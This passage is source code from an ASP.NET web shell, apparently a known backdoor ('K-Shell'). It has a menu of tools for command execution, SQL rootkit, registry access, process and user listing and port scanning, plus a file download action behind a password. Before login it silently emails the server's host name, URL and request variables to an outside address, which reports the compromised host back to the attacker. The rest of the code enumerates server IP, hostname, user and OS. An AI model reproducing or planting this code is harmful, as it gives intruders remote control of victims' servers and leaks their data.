IpList.Add(IpParts1(0) + "." + IpParts1(1) + "." + IpParts1(2) + "." + IpParts1(3))
Dim tmp As Integer = Int32.Parse(IpParts1(3)) + 1
IpParts1(3) = tmp.ToString()
If IpParts1(3).Equals("255") Then
tmp = Int32.Parse(IpParts1(2)) + 1
IpParts1(2) = tmp.ToString()
IpParts1(3) = "1"
End If
If IpParts1(2).Equals("255") Then
tmp = Int32.Parse(IpParts1(1)) + 1
IpParts1(1) = tmp.ToString()
IpParts1(2) = "1"
End If
If IpParts1(1).Equals("255") Then
tmp = Int32.Parse(IpParts1(0)) + 1
IpParts1(0) = tmp.ToString()
IpParts1(1) = "1"
End If
Next
Return IpList
End Function
Protected Sub btnScan_Click(ByVal sender As Object, ByVal e As EventArgs)
If txtStartIP.Text = "" OrElse txtEndIP.Text = "" OrElse txtPorts.Text = "" Then
Response.Write("IP OR Ports Error.Check")
Return
End If
Dim StartIp As String = txtStartIP.Text
Dim EndIp As String = txtEndIP.Text
Dim ips As ArrayList = MakeIps(StartIp, EndIp)
Dim ScanPorts As New ArrayList()
Dim ports As String() = txtPorts.Text.Split(","C)
For Each port As String In ports
'Response.Write(port);
ScanPorts.Add(port)
Next
lstRet.Visible = True
Label1.Visible = True
Dim myscanner As New Scanner()
myscanner.Ips = ips
myscanner.ports = ScanPorts
myscanner.ret = Me.lstRet
myscanner.run()
End Sub
Protected Sub btnReset_Click(ByVal sender As Object, ByVal e As EventArgs)
txtStartIP.Text = ""
txtEndIP.Text = ""
txtPorts.Text = ""
Label1.Visible = False
lstRet.Visible = False
End Sub
'End Scanner
</script>
<%
if request.QueryString("action")="down" and session("rooot")=1 then
downTheFile(request.QueryString("src"))
response.End()
end if
Dim act as string = request.QueryString("action")
if act="cmd" then
TITLE="CMD.NET"
elseif act="cmdw32" then
TITLE="ASP.NET W32 Shell"
elseif act="cmdwsh" then
TITLE="ASP.NET WSH Shell"
elseif act="sqlrootkit" then
TITLE="SqlRootKit.NET"
elseif act="clonetime" then
TITLE="Clone Time"
elseif act="information" then
TITLE="Web Server Info"
elseif act="goto" then
TITLE="K-Shell 1.2"
elseif act="pro1" then
TITLE="List processes from server"
elseif act="pro2" then
TITLE="List processes from server"
elseif act="user" then
TITLE="List User Accounts"
elseif act="applog" then
TITLE="List Application Event Log Entries"
elseif act="syslog" then
TITLE="List System Event Log Entries"
elseif act="auser" then
TITLE="IIS List Anonymous' User details"
elseif act="sqlman" then
TITLE="MSSQL Management"
elseif act="scan" then
TITLE="Port Scanner"
elseif act="iisspy" then
TITLE="IIS Spy"
elseif act="sqltool" then
TITLE="SQL Tool"
elseif act="regshell" then
TITLE="Registry Shell"
else
TITLE=request.ServerVariables("HTTP_HOST")
end if
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: #df5 !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html">
<title></title>
</head>
<body>
<hr>
<%
Dim error_x as Exception
Try
if session("rooot")<>1 then
'Test sending anonymous mail, comment it if you don't want test it
dim info As String
Try
info = request.ServerVariables.ToString.Replace("%2f","/").Replace("%5c","\").Replace("%3a",":").Replace("%2c",",").Replace("%3b",";").Replace("%3d","=").Replace("%2b","+").Replace("%0d%0a",vbnewline)
System.Web.Mail.SmtpMail.SmtpServer = "localhost"
System.Web.Mail.SmtpMail.Send(request.ServerVariables("HTTP_HOST"),"[email protected]",request.ServerVariables("HTTP_HOST")+request.ServerVariables("URL"),info)
Catch
End Try
%>
<center>
<form runat="server">
Your Password:<asp:TextBox ID="TextBox" runat="server" TextMode="Password" class="TextBox" />
<asp:Button ID="Button" runat="server" Text="Login" ToolTip="Click here to login" OnClick="login_click" class="buttom" />
</form>
</center>
<%
else
dim temp as string
temp=request.QueryString("action")
if temp="" then temp="goto"
select case temp
case "goto"
if request.QueryString("src")<>"" then
url=request.QueryString("src")
else
url=server.MapPath(".") & "\"
end if
call existdir(url)
dim xdir as directoryinfo
dim mydir as new DirectoryInfo(url)
dim guru as string
dim xfile as fileinfo
dim ServerIP As string = "<font color=white>Server IP :</font> <b>" + Request.ServerVariables("LOCAL_ADDR") + "</b> - <font color=white>Client IP :</font> <b>" + getIP() + "</b> - "
dim HostName As string = "<font color=white>HostName :</font> <b>" + Environment.MachineName + "</b> - <font color=white>Username :</font> <b>"+ Environment.UserName +"</b><br>"
dim OSVersion As string = "<font color=white>OS Version :</font> <b>" + Environment.OSVersion.ToString() + "</b>"